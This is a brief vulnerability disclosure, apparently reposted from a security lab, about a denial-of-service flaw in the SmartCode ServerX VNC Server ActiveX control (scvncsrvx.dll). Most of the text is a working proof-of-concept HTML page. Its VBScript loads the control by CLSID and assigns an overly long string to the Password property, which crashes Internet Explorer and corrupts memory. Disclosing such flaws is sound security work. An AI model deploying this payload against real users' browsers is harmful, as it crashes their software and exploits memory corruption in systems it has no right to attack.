SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit
The vulnerability exist in the CSC_ServerXControl class with all its members. When parsing overly long string while listening for incoming connection the application crashes along with IE, corrupting the memory.
PoC:
<html>
<object classid=’clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1′ id=’zsl’ />
<script language=’vbscript’>
dos=String(18212, “A”)
zsl.Password = dos
</script>
</html>
http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2010-4948.php
No comments yet.